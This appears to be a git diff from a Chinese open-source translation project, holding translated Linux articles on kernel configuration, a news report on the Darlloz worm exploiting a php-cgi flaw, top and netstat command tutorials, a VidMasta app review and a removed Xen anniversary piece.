想要改变处理器的时钟速度和运行时,就启用这个特性(CPU Frequency scaling)。CPU频率调整意味着改变处理器的时钟速度。这个驱动可以用于降低时钟频率以保留电源
想要改变处理器的时钟速度和运行时,就启用这个特性(CPU Frequency scaling)。CPU频率调整意味着改变处理器的时钟速度。这个驱动可以用于降低时钟频率以节能
下面是另外一个电源管理子系统(CPU idle PM support)。当处理器不在活跃状态时它最好处在有效的空闲方式来减少电源消耗和减少CPU损耗。减少电源消耗同样可以降低内部元件的热。
下面是另外一个电源管理子系统(CPU idle PM support)。当处理器不在活跃状态时它最好处在有效的空闲方式来减少电源消耗和减少CPU损耗。减少电源消耗同样可以降低内部元件的热。
Linux内核提供了很多CPU空闲驱动。在多处理器系统上一些用户可能有一个理由在每个CPU上使用不同的驱动(Support multiple cpuidle drivers)。启用这个驱动可以允许用户给每个处理器设置不同的驱动。
对于Intel处理器内核有一个特别为管理这类CPU芯片空闲的驱动(Cpuidle Driver for Intel Processors)。
当内存芯片空闲时,这些同样可以低功耗(Intel chipset idle memory power saving driver)。这个驱动是特别支持IO AT的Intel设备。
当内存芯片空闲时,这些同样可以处于低功耗状态(Intel chipset idle memory power saving driver)。这个驱动是特别支持IO AT的Intel设备
不同的计算机使用不同类型的主板(PCI support)。其中一种类型是PCI。这个驱动允许内核运行在PCI主板上。
下面,我们可以启用/禁用 "Support mmconfig PCI config space access"。
接下来,我们有一个选择启用/禁用主桥窗口驱动(Support mmconfig PCI config space access)。警告:这个驱动还不完全(至少在3.9.4中是这样)。
接下来,我们有一个选择启用/禁用主桥窗口驱动(Support mmconfig PCI config space access)。警告:这个驱动还没有完成(至少在3.9.4中是这样)。
像上面提到的主板,还有另一种类型的主板。写一个选项是提供"PCI Express (PCIe) support"的驱动。PCIe是一种改进并且更快速的PCI。
@ -68,7 +67,7 @@ Linux内核提供了很多CPU空闲驱动。在多处理器系统上一些用
下面的设置提供了操作系统控制PCI的活跃状态和时钟电源管理(PCI Express ASPM control)。通常上固件会控制ASPM但是这个特性允许操作系统采取控制。
再说一次像内核的许多组件一样这里提供了ASPM的调试支持(Debug PCI Express ASPM)。
如前面一样像内核的许多组件一样这里提供了ASPM的调试支持(Debug PCI Express ASPM)。
下面,在这个菜单选择"Default ASPM policy"。
@ -78,14 +77,13 @@ Linux内核提供了很多CPU空闲驱动。在多处理器系统上一些用
下一个选项允许PCI核心检测是否有必要启用PCI资源重分配(Enable PCI resource re-allocation detection)。
当在Linux上托管一个虚拟操作系统时它有时可以帮助为虚拟系统保留PCI设备(PCI Stub driver)。在系统虚拟化下,一个操作系统可能在另一个系统的内部或者旁边运行。有时它们会竞争资源。可以为客户机保留设备可以减小竞争和增加性能。
当在Linux上托管一个虚拟操作系统时它有时可以用于为虚拟系统保留PCI设备(PCI Stub driver)。在系统虚拟化下,一个操作系统可能在另一个系统的内部或者行。有时它们会竞争资源。可以为客户机保留设备可以减小竞争和增加性能。
下面的驱动允许超传输设备(hypertransport devices)使用中断(Interrupts on hypertransport devices)。HyperTransport是一种系统/协议总线用于处理器之间的高速通信。
下一个驱动用于PCI虚拟化它允许虚拟设备间共享它们的物理资源(PCI IOV support)。
The PCI Page Request Interface (PRI) gives PCI devices that are behind an IOMMU (input/output memory management unit) to recover from page faults (PCI PRI support). A page fault is not an error; it refers to the event of software trying to access data not on physical memory.
PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的PCI设备能够从页错误中恢复(PCI PRI support)。页错误不是一种错误;它指的是软件尝试访问不在物理内存上的数据的事件
PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的PCI设备能够从页错误中恢复(PCI PRI support)。页错误不是一种错误;它指的是软件尝试访问不在物理内存上的数据的事件。
再次说明你会在之后的文章中看到更多的需要配置Linux内核特性。
@ -93,6 +91,6 @@ PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的P
via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-6.4457/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,40 @@
新蠕虫能感染 Linux 系统和嵌入式设备!
================================================================================
**来自赛门铁克研究员的消息这个病毒通过2012年出现的 PHP 漏洞传播**
据美国国际数据集团IDG的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机,其变种还会对运行在其他芯片架构上的设备(诸如家用路由器和机顶盒)造成威胁。
根据赛门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口CGI的配置环境下被执行。此漏洞的代号为 CVE-2012-1823通过这个漏洞攻击者可以远程执行任意代码所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注。2012年5月份PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。
这个赛门铁克的研究员在[博客][1]中写道这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码PoCproof of concept概念验证。利用目标计算机的漏洞为对其进行攻击而设计的代码称为 exploit而一个没有充分利用漏洞的 exploit就是 PoC —— 译者注)。
“在传播过程中,这段蠕虫代码会随机产生 IP 地址,通过特殊途径,利用普通的用户名密码发送 HTTP POST 请求,探测漏洞”,研究员解释道:“如果一个目标没有打上 CVE-2012-1823 的补丁,这台机器就会从病毒服务器下载蠕虫病毒,之后寻找下一个目标。”
这个唯一的蠕虫变种目前为止只感染了 x86 系统,这是因为这个病毒的二进制格式为 Intel 架构下的 ELF Executable and Linkable Format格式。
然而这个研究员警告说,黑客也为其他架构开发了病毒,包括 ARMPPCMIPS 和 MIPSEL。
这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。
“攻击者显然试图在最大范围内感染运行 Linux 的设备”,研究员又说:“然而我们还没有证实他们有没有攻击非 PC 设备。”
很多嵌入式设备的固件都使用 Linux 作为操作系统,并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷,因为它们不会经常更新软件。
在嵌入式设备为一个漏洞打上补丁,从来都不是件容易的事。很多厂商都不会定期公布更新信息,而当他们公布时,用户也不会被告知说这些更新解决了哪些安全问题。
并且,在嵌入式设备上更新软件比在计算机上需要更多的工作,以及更多的技术知识。用户需要知道哪些网站能提供这些更新,然后下载下来,通过 Web 界面更新到他们的设备中。
“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞,”啰嗦的研究员说:“我们面临的另一个问题是,即使用户注意到他们用的是有漏洞的设备,这些设备的供应商却没有提供补丁,原因是技术落后,或者完全就是硬件的限制:内存不足,或 CPU 太慢,不足以支持这些软件的新版本。”
“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的赛门铁克研究员说道。
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices

View File

@ -0,0 +1,305 @@
30个实例详解TOP命令
================================================================================
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
译注不同发行版的top命令在各种细节有不同如果发现不同时请读你的帮助手册和命令内的帮助。
## 1. Top 命令输出: ##
首先让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义默认运行时top命令会显示如下输出
![默认显示](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png)
前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
### 1.1 系统运行时间和平均负载: ###
![显示运行时间](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png)
top命令的顶部显示与uptime命令相似的输出。
这些字段显示:
- 当前时间
- 系统已运行的时间
- 当前登录用户的数量
- 相应最近5、10和15分钟内的平均负载。
可以使用'l'命令切换uptime的显示。
### 1.2 任务: ###
![任务概况](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png)
第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态)。这些进程概括信息可以用't'切换显示。
### 1.3 CPU 状态: ###
![CPU状态显示](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png)
下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示:
- us, user 运行(未调整优先级的) 用户进程的CPU时间
- sysystem: 运行内核进程的CPU时间
- niniced运行已调整优先级的用户进程的CPU时间
- waIO wait: 用于等待IO完成的CPU时间
- hi处理硬件中断的CPU时间
- si: 处理软件中断的CPU时间
- st这个虚拟机被hypervisor偷去的CPU时间译注如果当前处于一个hypervisor下的vm实际上hypervisor也是要消耗一部分CPU处理时间的
可以使用't'命令切换显示。
### 1.4 内存使用: ###
![内存使用情况](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png)
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换部分显示的是:全部、已使用、空闲和缓冲交换空间。
内存显示可以用'm'命令切换。
### 1.5 字段/列: ###
![任务信息列](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png)
在横向列出的系统属性和状态下面,是以列显示的进程。不同的列代表下面要解释的不同属性。
默认上top显示这些关于进程的属性
**PID**
进程ID进程的唯一标识符
**USER**
进程所有者的实际用户名。
**PR**
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
**NI**
进程的nice值优先级。越小的值意味着越高的优先级。
**VIRT**
进程使用的虚拟内存。
**RES**
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
**SHR**
SHR是进程使用的共享内存。
**S**
这个是进程的状态。它有以下不同的值:
- D - 不可中断的睡眠态。
- R 运行态
- S 睡眠态
- T 被跟踪或已停止
- Z 僵尸态
**%CPU**
自从上一次更新时到现在任务所使用的CPU时间百分比。
**%MEM**
进程使用的可用物理内存百分比。
**TIME+**
任务启动后到现在所使用的全部CPU时间精确到百分之一秒。
**COMMAND**
运行进程所使用的命令。
还有许多在默认情况下不会显示的输出它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
## 2. 交互命令: ##
我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。
### 2.1 h: 帮助 ###
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
![帮助菜单](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png)
### 2.2 \<ENTER> 或者 \<SPACE>: 刷新显示 ###
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
### 2.3 A: 切换交替显示模式 ###
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口译注分别关注不同的字段:
1. Def (默认字段组)
2. Job (任务字段组)
3. Mem (内存字段组)
4. Usr (用户字段组)
这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。译注只有当前窗口才会接受你键盘交互命令
![交替显示](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png)
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
![在交替显示中选择窗口](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png)
### 2.4 B: 触发粗体显示 ###
一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。
![关闭粗体](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png)
### 2.5 ds: 设置显示的刷新间隔 ###
当按下'd'或's'时你将被提示输入一个值以秒为单位它会以设置的值作为刷新间隔。如果你这里输入了1top将会每秒刷新。
![刷新间隔l](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png)
### 2.6 ltm: 切换负载、任务、内存信息的显示 ###
这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。
![不显示平均负载](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png)
![不显示CPU概况](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png)
![不显示内存和交换内存概况](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png)
![上面三个全不显示](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png)
### 2.7 f: 字段管理 ###
用于选择你想要显示的字段。用'*'标记的是已选择的。
![管理显示列](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png)
上下光标键在字段内导航,左光标键可以选择字段,回车或右光标键确认。
按'<'移动已排序的字段到左边,'>'则移动到右边。
### 2.8 R: 反向排序 ###
切换反向/常规排序。
### 2.9 c: 触发命令 ###
切换是否显示进程启动时的完整路径和程序名。
![完整命令路径](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png)
### 2.10 i: 空闲任务 ###
切换显示空闲任务。
![不显示空闲命令](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png)
### 2.11 V: 树视图 ###
切换树视图。
![树视图](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png)
### 2.12 Z: 改变配色 ###
按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。
![定制颜色](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png)
下面显示的是4中颜色显示的top视图。
![彩色显示](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png)
### 2.13 z: 切换彩色显示 ###
切换彩色,即打开或关闭彩色显示。
### 2.14 x 或者 y ###
切换高亮信息:'x'将排序字段高亮显示(纵列);'y'将运行进程高亮显示(横行)。依赖于你的显示设置,你可能需要让输出彩色来看到这些高亮。
![X 和 Y高亮](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png)
### 2.15 u: 特定用户的进程 ###
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
![raghu的进程](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png)
### 2.16 n#: 任务的数量 ###
设置最大显示的任务数量
![设置最大显示的任务数量](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png)
### 2.17 k: 结束任务 ###
top命令中最重要的一个命令之一。用于发送信号给任务通常是结束任务
![杀死一个任务](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png)
### 2.18 r: 重新设置优先级 ###
重新设置一个任务的调度优先级。
## 3. 命令行选项: ##
这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作但是你也可以带参数运行top来设置你想要的效果。
### 3.1 -b: 批处理模式 ###
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
### 3.2 -c: 命令/程序名 触发: ###
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示(是否显示完整路径)。
### 3.3 -d: 设置延迟间隔 ###
设置top的显示间隔(以秒计)。比如。
$ top -d 1
将会以1秒的刷新间隔启动top。
### 3.4 -i: 切换显示空闲进程 ###
这个选项设置top命令的上一次记住的**相反的**'i'状态。
### 3.5 -n: 设置迭代数量 ###
用-n选项你可以设置top退出前迭代的次数。
$ top -n 3
将会在刷新输出3次后退出。
### 3.6 -p: 监控特定的PID ###
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
### 3.7 -u 或 -U: 用户名 或者 UID ###
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的同时只可以使用这其中一个选项。当你试图组合使用这些选项时你会得到一个错误:
$ top -p 28453 -u raghu
top: conflicting process selections (U/p/u)
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,104 @@
VidMasta:搜索和观看在线电影、电视剧的神器
===
你是否曾经想要从桌面搜索电影或电视剧,或者搜寻能够随时为你搜索这些东西的应用程序?这儿有一个应用可以满足你的需要。
[**VidMasta**][1]是一个免费的、跨平台的的应用它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。
###特点
使用VidMasta你可以做到以下这些
- 观看或下载任何格式的电影或电视剧
- 支持的格式是TVDVD720P1080P。
- 匿名链接并自动过滤不受信任的IP可以使用代理还可以使用加密连接。
- 搜索算法可以为电影下载链接自动匹配最佳下载源
- “流行电影”和“流行电视剧”选项可以显示并让你下载当前最流行的电影/电视剧
- 下载电影字幕
- 可设置每次搜素结果的个数
- 设置下载的视频文件的扩展名
- 自动按照受欢迎度为搜索结果排序
- 可以听也可以阅读影视概要
- 观看预告片
- 查看上映时间和电影评价
- 多线程搜索和下载
- 能够侦测电影盒子设置
- 可以和[PeerBlock][2]集成这项功能只能在Windows2000xp,Vista和Windows 7上使用
- 除了[Java][3]版本为6或以上不再需要额外的软件
- 客户端可以自动更新
###在Linux上安装VidMasta
在安装VidMasta之前你应该在你的Linux桌面系统中安装最新版的Java。从[这儿][4]下载最新版。进入你下载的文件夹,使用下面的命令安装它:
sudo java -jar vidmasta-setup-16.7.jar
运行后,就会出现像下面这样的画面。点击下一步继续。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_001.jpg)
选择安装路径,点击下一步。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_002.jpg)
安装完成后,点击下一步。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_004.jpg)
设置快捷键。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_007.jpg)
最后点击Done结束安装。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_008.jpg)
完成安装后VidMasta会自动打开。下面是VidMasta的默认界面。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_009.jpg)
###搜素电影&电视剧
搜索电影电视剧非常容易。在标题框里键入电影的名字选择电影种类和电影格式例如“任何”“DVD”“720HD”“1080HD”等。然后敲击Enter键开始搜素。你还可以通过评价来过滤搜素结果。假如你不知道电影的名字你可以在菜单栏里勾选“任何”。
例如我要搜索冒险类的清晰度为720HD并在在2012年的11月第一周的今天上映的电影。一旦你敲击搜索按钮VidMasta就会从[www.imdb.com][5]网站抓取搜索结果,并显示你每次搜索的关键词。下面是输出的样例。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_012.jpg)
你还可以在下载之前观看预告片或者阅读电影概要。要看电影的概要?选择一个电影,右击它,点击阅读概要就可以咯。你也可以使用搜索结果下的按钮去阅读电影概要,观看预告片,下载或者观看整个电影
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_013.jpg)
更重要的是你可以在下载一部电影之前先观看它的预告片。点击观看预告片按钮,预告片就会在一个新窗口中打开,像下面这样。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/%E2%96%B6-Django-Unchained-Official-Trailer-HD-YouTube-Mozilla-Firefox_014.jpg)
如果你喜欢这部电影可以点击下载链接下载链接1或者下载链接2下载这部电影。
###流行电影&流行电视剧
假如你不知道那些电影值得去看时。那么不用担心VidMata有一个选项去显示当前流行的电影或电视剧。点击下面的流行电影或电视剧按钮去发现当前流行流行的电影或电视剧。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_015.jpg)
是不是很酷?
需要注意的是,若你不能下载最新的电影或电视剧时,也许是因为版权问题或者国家原因。
你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序再去播放或下载电影。
你是否对此很期待呢?赶紧把它下载下来安装到你的系统中,祝你使用愉快!
--------------------------------------------------------------------------------
via: http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/
译者:[Linux-pdz](https://github.com/Linux-pdz`) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://sites.google.com/site/algwares/vidmasta
[2]:http://www.peerblock.com/
[3]:http://www.java.com/
[4]:http://sourceforge.net/projects/vidmasta/
[5]:http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/www.imdb.com

View File

@ -1,54 +0,0 @@
10 Years of Xen: Transforming a Dinosaur Into a Bird
================================================================================
Xen Hypervisor development started at [Cambridge University][1] as part of the [Xenoserver][2] research project in the late 90s. The goal of Xenoserver was ambitious:
The Xenoserver project is building a public infrastructure for wide-area distributed computing. We envisage a world in which Xenoserver execution platforms will be scattered across the globe and available for any member of the public to submit code for execution. The sponsor of the code will be billed for all the resources used or reserved during the course of execution. This will serve to encourage load balancing, limit congestion, and hopefully even make the platform self-financing.
Today, this model of computing is called cloud computing. And the Xen Hypervisor was - and indeed is today - instrumental in enabling the biggest cloud in production. Not only are Amazon Web Services and Rackspace Public cloud based on Xen. New large deployments such as [Verizon Public Cloud][3] also chose Xen as basis for their offering.
### Happy 10th Birthday ###
On October 21st, 2003 at the [19th ACM Symposium on Operating Systems Principles][4] the Xen Hypervisor was first revealed as an open source project to the public. Exactly 10 years ago. Time to wish the project a Happy 10th Birthday!
### The Burden of being First : Or what happened to the Dinosaurs? ###
Sometimes being the first open source project in its field can become a burden. Why? Because, community problems can build up unchecked. The simple fact is that lack of competition can cause complacency. This is what happened to the Xen Project. For the first few years of its life the project operated without governance, became insular, didnt promote itself and failed to engage its users and contributors. When its first open source competitor - KVM - gathered steam, the community was slow to respond and change.
The effect of all this was that it was difficult to join the project and that the project did not play well with the Linux kernel, QEMU and Linux distros. In the end, the Xen community got a bad reputation. Ultimately this resulted in Canonical and RedHat dropping Xen support in favour of KVM. Add to the mix a failure to tell the world, when things did change. The bad reputation lingered and eventually the project was seen as a dinosaur by the open source community and technology press. Destined to be extinct in the near future.
### Evolving fast : The Dinosaur becomes a Bird ###
Not many open source projects recover from mistakes like the ones the Xen community made. The Xen Project managed to do this, through a combination of introducing good governance, active efforts to collaborate with other open source projects, rebooting marketing efforts and actively working with users and contributors to the project. In other words, the project had to
Xen Project flying Panda
Let the Bird fly (or more correctly, give the Xen Projects Panda wings).
transform itself from a Dinosaur to a Bird. If you want to know how we did this, why not attend my LinuxCon EU session called [Xen Project : Lessons Learned][5]? Other sessions you may want to attend are [Securing your Xen based Cloud][6] and [Xen: Open Source Hypervisor Designed for Clouds][7].
![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg)
*Let the Bird fly (or more correctly, give the Xen Projects Panda wings).*
### A peek into the Future : New Frontiers in Virtualization ###
If you look at the Xen Project now, you will find that the community is diverse and growing. On many counts, it is bigger and more diverse than it has ever been.
One of the interesting things that is happening in the Xen Community at the moment is adoption of the Xen Projects software for non-traditional virtualization use-cases. This is mirroring a rise in activity by embedded companies in the Linux community in general. At the [Xen Project Developer Summit][8] later this week, we will see two Android VMs running on top of Xen on a Nexus 10, we will see first experiments in using Xen for In-Vehicle-Infotainment and automotive applications in general, and we will see how Xen can provide the high performance expected of hardware-based middlebox offerings such as firewalls and NATs.
Of course, there is also plenty innovation in server virtualization and cloud. Let the Bird fly (or more correctly, give the Xen Projects Panda wings).
--------------------------------------------------------------------------------
via: http://www.linux.com/news/enterprise/cloud-computing/743330-10-years-of-xen-transforming-a-dinosaur-into-a-bird/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.cl.cam.ac.uk/research/srg/netos/xen/index.html
[2]:http://www.cl.cam.ac.uk/research/srg/netos/xeno/
[3]:http://www.techweekeurope.co.uk/news/verizon-public-cloud-launch-128724
[4]:http://www.cs.rochester.edu/meetings/sosp2003/papers.shtml
[5]:http://linuxconcloudopeneu2013.sched.org/event/68003c370760bcc2da7e3e8b59b6b50f
[6]:http://linuxconcloudopeneu2013.sched.org/event/37ecfe02561cf264a02061d1927da26c
[7]:http://linuxconcloudopeneu2013.sched.org/event/bdca1274d9799646cdf2934dbde94ccd
[8]:http://www.linux.com/news/software/applications/742053-a-great-line-up-of-speakers-at-xen-project-developer-summit

View File

@ -0,0 +1,291 @@
[this is bazz2]
10 basic examples of linux netstat command
================================================================================
### Netstat ###
Netstat is a command line utility that can be used to list out all the network (socket) connections on a system. It lists out all the tcp, udp socket connections and the unix socket connections. Apart from connected sockets it can also list listening sockets that are waiting for incoming connections. So by verifying an open port 80 you can confirm if a web server is running on the system or not. This makes it a very useful tool for network and system administrators. So in this tutorial we shall be checking out few examples of how to use netstat to find information about network connections and open ports on a system.
Here is a quick intro to netstat from the man pages
> netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships
### 1. List out all connections ###
The first and most simple command is to list out all the current connections. Simply run the netstat command with the a option.
$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 enlightened:domain *:* LISTEN
tcp 0 0 localhost:ipp *:* LISTEN
tcp 0 0 enlightened.local:54750 li240-5.members.li:http ESTABLISHED
tcp 0 0 enlightened.local:49980 del01s07-in-f14.1:https ESTABLISHED
tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN
udp 0 0 enlightened:domain *:*
udp 0 0 *:bootpc *:*
udp 0 0 enlightened.local:ntp *:*
udp 0 0 localhost:ntp *:*
udp 0 0 *:ntp *:*
udp 0 0 *:58570 *:*
udp 0 0 *:mdns *:*
udp 0 0 *:49459 *:*
udp6 0 0 fe80::216:36ff:fef8:ntp [::]:*
udp6 0 0 ip6-localhost:ntp [::]:*
udp6 0 0 [::]:ntp [::]:*
udp6 0 0 [::]:mdns [::]:*
udp6 0 0 [::]:63811 [::]:*
udp6 0 0 [::]:54952 [::]:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 12403 @/tmp/dbus-IDgfj3UGXX
unix 2 [ ACC ] STREAM LISTENING 40202 @/dbus-vfs-daemon/socket-6nUC6CCx
The above command shows all connections from different protocols like tcp, udp and unix sockets. However this is not quite useful. Administrators often want to pick out specific connections based on protocols or port numbers for example.
### 2. List only TCP or UDP connections ###
To list out only tcp connections use the t options.
$ netstat -at
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 enlightened:domain *:* LISTEN
tcp 0 0 localhost:ipp *:* LISTEN
tcp 0 0 enlightened.local:36310 del01s07-in-f24.1:https ESTABLISHED
tcp 0 0 enlightened.local:45038 a96-17-181-10.depl:http ESTABLISHED
tcp 0 0 enlightened.local:37892 ABTS-North-Static-:http ESTABLISHED
.....
Similarly to list out only udp connections use the u option.
$ netstat -au
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
udp 0 0 *:34660 *:*
udp 0 0 enlightened:domain *:*
udp 0 0 *:bootpc *:*
udp 0 0 enlightened.local:ntp *:*
udp 0 0 localhost:ntp *:*
udp 0 0 *:ntp *:*
udp6 0 0 fe80::216:36ff:fef8:ntp [::]:*
udp6 0 0 ip6-localhost:ntp [::]:*
udp6 0 0 [::]:ntp [::]:*
The above output shows both ipv4 and ipv6 connections.
### 3. Disable reverse dns lookup for faster output ###
By default, the netstat command tries to find out the hostname of each ip address in the connection by doing a reverse dns lookup. This slows down the output. If you do not need to know the host name and just the ip address is sufficient then suppress the hostname lookup with the n option.
$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.2:49058 173.255.230.5:80 ESTABLISHED
tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED
tcp6 0 0 ::1:631 :::* LISTEN
The above command shows ALL TCP connections with NO dns resolution. Got it ? Good.
### 4. List out only listening connections ###
Any network daemon/service keeps an open port to listen for incoming connections. These too are like socket connections and are listed out by netstat. To view only listening ports use the l options.
$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
Now we can see only listening tcp ports/connections. If you want to see all listening ports, remove the t option. If you want to see only listening udp ports use the u option instead of t.
Make sure to remove the 'a' option, otherwise all connections would get listed and not just the listening connections.
### 5. Get process name/pid and user id ###
When viewing the open/listening ports and connections, its often useful to know the process name/pid which has opened that port or connection. For example the Apache httpd server opens port 80. So if you want to check whether any http server is running or not, or which http server is running, apache or nginx, then track down the process name.
The process details are made available by the 'p' option.
